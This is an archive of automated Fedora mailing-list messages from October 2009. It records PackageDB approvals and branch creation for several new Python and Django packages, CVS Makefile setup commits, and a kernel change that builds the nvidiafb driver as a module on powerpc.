From pkgdb at fedoraproject.org  Thu Oct  8 05:54:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:14 +0000
Subject: [pkgdb] django-flash summary updated by kevin
Message-ID: <20091008055417.7EE8610F8A4@bastion2.fedora.phx.redhat.com>

kevin set package django-flash summary to A Django extension to provide support for Rails-like flash

To make changes to this package see:
  /pkgdb/packages/name/django-flash



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:12 +0000
Subject: [pkgdb] django-flash was added for sdz
Message-ID: <20091008055412.BC7C910F88F@bastion2.fedora.phx.redhat.com>

kevin has added Package django-flash with summary A Django extension to provide support for Rails-like flash
kevin has approved Package django-flash
kevin has added a Fedora devel branch for django-flash with an owner of sdz
kevin has approved django-flash in Fedora devel
kevin has approved Package django-flash
kevin has set commit to Approved for 107427 on django-flash (Fedora devel)
kevin has set checkout to Approved for 107427 on django-flash (Fedora devel)
kevin has set build to Approved for 107427 on django-flash (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/django-flash



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:14 +0000
Subject: [pkgdb] django-flash (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055417.89DC110F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for django-flash
kevin has set commit to Approved for 107427 on django-flash (Fedora 11)
kevin has set checkout to Approved for 107427 on django-flash (Fedora 11)
kevin has set build to Approved for 107427 on django-flash (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/django-flash



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:14 +0000
Subject: [pkgdb] django-flash (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055417.9000610F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for django-flash
kevin has set commit to Approved for 107427 on django-flash (Fedora 12)
kevin has set checkout to Approved for 107427 on django-flash (Fedora 12)
kevin has set build to Approved for 107427 on django-flash (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/django-flash



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:14 +0000
Subject: [pkgdb] django-flash (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055417.9E95C10F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for django-flash
kevin has set commit to Approved for 107427 on django-flash (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on django-flash (Fedora EPEL 5)
kevin has set build to Approved for 107427 on django-flash (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/django-flash



From kevin at fedoraproject.org  Thu Oct  8 05:54:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:54:23 +0000 (UTC)
Subject: rpms/django-flash - New directory
Message-ID: <20091008055423.17D4911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/django-flash
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsgRB312/rpms/django-flash

Log Message:
Directory /cvs/pkgs/rpms/django-flash added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:54:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:54:23 +0000 (UTC)
Subject: rpms/django-flash/devel - New directory
Message-ID: <20091008055423.37FE411C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/django-flash/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsgRB312/rpms/django-flash/devel

Log Message:
Directory /cvs/pkgs/rpms/django-flash/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:54:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:54:31 +0000 (UTC)
Subject: rpms/django-flash Makefile,NONE,1.1
Message-ID: <20091008055431.189A711C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/django-flash
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsgRB312/rpms/django-flash

Added Files:
	Makefile 
Log Message:
Setup of module django-flash


--- NEW FILE Makefile ---
# Top level Makefile for module django-flash
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:54:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:54:31 +0000 (UTC)
Subject: rpms/django-flash/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008055431.BC0C911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/django-flash/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsgRB312/rpms/django-flash/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module django-flash


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: django-flash
# $Id: Makefile,v 1.1 2009/10/08 05:54:31 kevin Exp $
NAME := django-flash
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From bskeggs at fedoraproject.org  Thu Oct  8 05:54:44 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Thu,  8 Oct 2009 05:54:44 +0000 (UTC)
Subject: rpms/kernel/F-11 config-powerpc-generic, 1.43, 1.44 kernel.spec,
	1.1757, 1.1758
Message-ID: <20091008055444.0686211C00DB@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv345

Modified Files:
	config-powerpc-generic kernel.spec 
Log Message:
* Thu Oct 09 2009 Ben Skeggs <bskeggs at redhat.com>     2.6.30.9-79
- ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)




Index: config-powerpc-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/config-powerpc-generic,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- config-powerpc-generic	8 Sep 2009 17:02:44 -0000	1.43
+++ config-powerpc-generic	8 Oct 2009 05:54:43 -0000	1.44
@@ -55,7 +55,7 @@ CONFIG_FB_OF=y
 CONFIG_FB_IBM_GXT4500=y
 CONFIG_FB_RADEON=y
 CONFIG_FB_MATROX=y
-CONFIG_FB_NVIDIA=y
+CONFIG_FB_NVIDIA=m
 # CONFIG_FB_VGA16 is not set
 CONFIG_FB_ATY128_BACKLIGHT=y
 CONFIG_FB_ATY_BACKLIGHT=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1757
retrieving revision 1.1758
diff -u -p -r1.1757 -r1.1758
--- kernel.spec	7 Oct 2009 17:31:03 -0000	1.1757
+++ kernel.spec	8 Oct 2009 05:54:43 -0000	1.1758
@@ -2046,6 +2046,9 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 09 2009 Ben Skeggs <bskeggs at redhat.com>     2.6.30.9-79
+- ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)
+
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>       2.6.30.9-78
 - Disable IRQSOFF tracer. (Adds unnecessary overhead when unused)
 



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:52 +0000
Subject: [pkgdb] python-remoteobjects was added for sdz
Message-ID: <20091008055453.0A3FA10F892@bastion2.fedora.phx.redhat.com>

kevin has added Package python-remoteobjects with summary An Object RESTational Model
kevin has approved Package python-remoteobjects
kevin has added a Fedora devel branch for python-remoteobjects with an owner of sdz
kevin has approved python-remoteobjects in Fedora devel
kevin has approved Package python-remoteobjects
kevin has set commit to Approved for 107427 on python-remoteobjects (Fedora devel)
kevin has set checkout to Approved for 107427 on python-remoteobjects (Fedora devel)
kevin has set build to Approved for 107427 on python-remoteobjects (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-remoteobjects



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:54 +0000
Subject: [pkgdb] python-remoteobjects summary updated by kevin
Message-ID: <20091008055454.F166710F84D@bastion2.fedora.phx.redhat.com>

kevin set package python-remoteobjects summary to An Object RESTational Model

To make changes to this package see:
  /pkgdb/packages/name/python-remoteobjects



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:54 +0000
Subject: [pkgdb] python-remoteobjects (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055455.1952B10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-remoteobjects
kevin has set commit to Approved for 107427 on python-remoteobjects (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-remoteobjects (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-remoteobjects (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-remoteobjects



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:54 +0000
Subject: [pkgdb] python-remoteobjects (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055455.0AAD510F8A1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-remoteobjects
kevin has set commit to Approved for 107427 on python-remoteobjects (Fedora 11)
kevin has set checkout to Approved for 107427 on python-remoteobjects (Fedora 11)
kevin has set build to Approved for 107427 on python-remoteobjects (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-remoteobjects



From pkgdb at fedoraproject.org  Thu Oct  8 05:54:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:54:54 +0000
Subject: [pkgdb] python-remoteobjects (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055455.2551110F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-remoteobjects
kevin has set commit to Approved for 107427 on python-remoteobjects (Fedora 12)
kevin has set checkout to Approved for 107427 on python-remoteobjects (Fedora 12)
kevin has set build to Approved for 107427 on python-remoteobjects (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-remoteobjects



From kevin at fedoraproject.org  Thu Oct  8 05:55:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:55:03 +0000 (UTC)
Subject: rpms/python-remoteobjects/devel - New directory
Message-ID: <20091008055503.43CDE11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-remoteobjects/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsJnq641/rpms/python-remoteobjects/devel

Log Message:
Directory /cvs/pkgs/rpms/python-remoteobjects/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:55:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:55:03 +0000 (UTC)
Subject: rpms/python-remoteobjects - New directory
Message-ID: <20091008055503.18A4E11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-remoteobjects
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsJnq641/rpms/python-remoteobjects

Log Message:
Directory /cvs/pkgs/rpms/python-remoteobjects added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:55:10 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:55:10 +0000 (UTC)
Subject: rpms/python-remoteobjects Makefile,NONE,1.1
Message-ID: <20091008055510.DD1FA11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-remoteobjects
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsJnq641/rpms/python-remoteobjects

Added Files:
	Makefile 
Log Message:
Setup of module python-remoteobjects


--- NEW FILE Makefile ---
# Top level Makefile for module python-remoteobjects
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:55:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:55:11 +0000 (UTC)
Subject: rpms/python-remoteobjects/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008055511.650F211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-remoteobjects/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsJnq641/rpms/python-remoteobjects/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-remoteobjects


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-remoteobjects
# $Id: Makefile,v 1.1 2009/10/08 05:55:11 kevin Exp $
NAME := python-remoteobjects
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct  8 05:55:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:55:41 +0000
Subject: [pkgdb] python-batchhttp was added for sdz
Message-ID: <20091008055541.6718A10F8A1@bastion2.fedora.phx.redhat.com>

kevin has added Package python-batchhttp with summary Parallel fetching of HTTP resources through MIME multipart
kevin has approved Package python-batchhttp
kevin has added a Fedora devel branch for python-batchhttp with an owner of sdz
kevin has approved python-batchhttp in Fedora devel
kevin has approved Package python-batchhttp
kevin has set commit to Approved for 107427 on python-batchhttp (Fedora devel)
kevin has set checkout to Approved for 107427 on python-batchhttp (Fedora devel)
kevin has set build to Approved for 107427 on python-batchhttp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-batchhttp



From pkgdb at fedoraproject.org  Thu Oct  8 05:55:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:55:42 +0000
Subject: [pkgdb] python-batchhttp summary updated by kevin
Message-ID: <20091008055542.8568010F8A8@bastion2.fedora.phx.redhat.com>

kevin set package python-batchhttp summary to Parallel fetching of HTTP resources through MIME multipart

To make changes to this package see:
  /pkgdb/packages/name/python-batchhttp



From pkgdb at fedoraproject.org  Thu Oct  8 05:55:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:55:42 +0000
Subject: [pkgdb] python-batchhttp (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055542.A990C10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-batchhttp
kevin has set commit to Approved for 107427 on python-batchhttp (Fedora 11)
kevin has set checkout to Approved for 107427 on python-batchhttp (Fedora 11)
kevin has set build to Approved for 107427 on python-batchhttp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-batchhttp



From pkgdb at fedoraproject.org  Thu Oct  8 05:55:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:55:42 +0000
Subject: [pkgdb] python-batchhttp (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055542.B468D10F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-batchhttp
kevin has set commit to Approved for 107427 on python-batchhttp (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-batchhttp (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-batchhttp (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-batchhttp



From pkgdb at fedoraproject.org  Thu Oct  8 05:55:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:55:42 +0000
Subject: [pkgdb] python-batchhttp (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055542.BF6C710F8B8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-batchhttp
kevin has set commit to Approved for 107427 on python-batchhttp (Fedora 12)
kevin has set checkout to Approved for 107427 on python-batchhttp (Fedora 12)
kevin has set build to Approved for 107427 on python-batchhttp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-batchhttp



From kevin at fedoraproject.org  Thu Oct  8 05:55:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:55:51 +0000 (UTC)
Subject: rpms/python-batchhttp - New directory
Message-ID: <20091008055551.16D4411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-batchhttp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOPh952/rpms/python-batchhttp

Log Message:
Directory /cvs/pkgs/rpms/python-batchhttp added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:55:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:55:51 +0000 (UTC)
Subject: rpms/python-batchhttp/devel - New directory
Message-ID: <20091008055551.454F511C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-batchhttp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOPh952/rpms/python-batchhttp/devel

Log Message:
Directory /cvs/pkgs/rpms/python-batchhttp/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:55:58 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:55:58 +0000 (UTC)
Subject: rpms/python-batchhttp Makefile,NONE,1.1
Message-ID: <20091008055558.23E2511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-batchhttp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOPh952/rpms/python-batchhttp

Added Files:
	Makefile 
Log Message:
Setup of module python-batchhttp


--- NEW FILE Makefile ---
# Top level Makefile for module python-batchhttp
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:55:58 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:55:58 +0000 (UTC)
Subject: rpms/python-batchhttp/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008055558.8823F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-batchhttp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOPh952/rpms/python-batchhttp/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-batchhttp


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-batchhttp
# $Id: Makefile,v 1.1 2009/10/08 05:55:58 kevin Exp $
NAME := python-batchhttp
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From bskeggs at fedoraproject.org  Thu Oct  8 05:56:23 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Thu,  8 Oct 2009 05:56:23 +0000 (UTC)
Subject: rpms/kernel/F-12 config-powerpc-generic, 1.49, 1.50 kernel.spec,
	1.1851, 1.1852
Message-ID: <20091008055623.0919B11C00DB@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1209

Modified Files:
	config-powerpc-generic kernel.spec 
Log Message:
* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>
- ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)



Index: config-powerpc-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-powerpc-generic,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- config-powerpc-generic	1 Aug 2009 11:33:42 -0000	1.49
+++ config-powerpc-generic	8 Oct 2009 05:56:22 -0000	1.50
@@ -55,7 +55,7 @@ CONFIG_FB_OF=y
 CONFIG_FB_IBM_GXT4500=y
 CONFIG_FB_RADEON=y
 CONFIG_FB_MATROX=y
-CONFIG_FB_NVIDIA=y
+CONFIG_FB_NVIDIA=m
 # CONFIG_FB_VGA16 is not set
 CONFIG_FB_ATY128_BACKLIGHT=y
 CONFIG_FB_ATY_BACKLIGHT=y


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1851
retrieving revision 1.1852
diff -u -p -r1.1851 -r1.1852
--- kernel.spec	8 Oct 2009 04:42:12 -0000	1.1851
+++ kernel.spec	8 Oct 2009 05:56:22 -0000	1.1852
@@ -2079,6 +2079,9 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>
+- ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)
+
 * Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com> 2.6.31.1-65
 - nouveau: {drm-next,context,fbcon,misc} fixes, connector forcing
 



From pkgdb at fedoraproject.org  Thu Oct  8 05:56:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:56:41 +0000
Subject: [pkgdb] python-typepad was added for sdz
Message-ID: <20091008055642.0BE4310F880@bastion2.fedora.phx.redhat.com>

kevin has added Package python-typepad with summary Connectivity to the TypePad API through remote objects
kevin has approved Package python-typepad
kevin has added a Fedora devel branch for python-typepad with an owner of sdz
kevin has approved python-typepad in Fedora devel
kevin has approved Package python-typepad
kevin has set commit to Approved for 107427 on python-typepad (Fedora devel)
kevin has set checkout to Approved for 107427 on python-typepad (Fedora devel)
kevin has set build to Approved for 107427 on python-typepad (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-typepad



From pkgdb at fedoraproject.org  Thu Oct  8 05:56:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:56:43 +0000
Subject: [pkgdb] python-typepad summary updated by kevin
Message-ID: <20091008055643.B8E0F10F895@bastion2.fedora.phx.redhat.com>

kevin set package python-typepad summary to Connectivity to the TypePad API through remote objects

To make changes to this package see:
  /pkgdb/packages/name/python-typepad



From pkgdb at fedoraproject.org  Thu Oct  8 05:56:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:56:43 +0000
Subject: [pkgdb] python-typepad (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055643.C06A810F8A1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-typepad
kevin has set commit to Approved for 107427 on python-typepad (Fedora 11)
kevin has set checkout to Approved for 107427 on python-typepad (Fedora 11)
kevin has set build to Approved for 107427 on python-typepad (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-typepad



From pkgdb at fedoraproject.org  Thu Oct  8 05:56:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:56:43 +0000
Subject: [pkgdb] python-typepad (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055643.CBDA710F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-typepad
kevin has set commit to Approved for 107427 on python-typepad (Fedora 12)
kevin has set checkout to Approved for 107427 on python-typepad (Fedora 12)
kevin has set build to Approved for 107427 on python-typepad (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-typepad



From pkgdb at fedoraproject.org  Thu Oct  8 05:56:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:56:43 +0000
Subject: [pkgdb] python-typepad (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055643.CF74110F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-typepad
kevin has set commit to Approved for 107427 on python-typepad (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-typepad (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-typepad (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-typepad



From kevin at fedoraproject.org  Thu Oct  8 05:56:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:56:59 +0000 (UTC)
Subject: rpms/python-typepad - New directory
Message-ID: <20091008055659.38D4011C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-typepad
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseQ1355/rpms/python-typepad

Log Message:
Directory /cvs/pkgs/rpms/python-typepad added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:56:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:56:59 +0000 (UTC)
Subject: rpms/python-typepad/devel - New directory
Message-ID: <20091008055659.782C511C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-typepad/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseQ1355/rpms/python-typepad/devel

Log Message:
Directory /cvs/pkgs/rpms/python-typepad/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:57:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:57:11 +0000 (UTC)
Subject: rpms/python-typepad Makefile,NONE,1.1
Message-ID: <20091008055711.30A6911C0268@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-typepad
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseQ1355/rpms/python-typepad

Added Files:
	Makefile 
Log Message:
Setup of module python-typepad


--- NEW FILE Makefile ---
# Top level Makefile for module python-typepad
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:57:11 2009
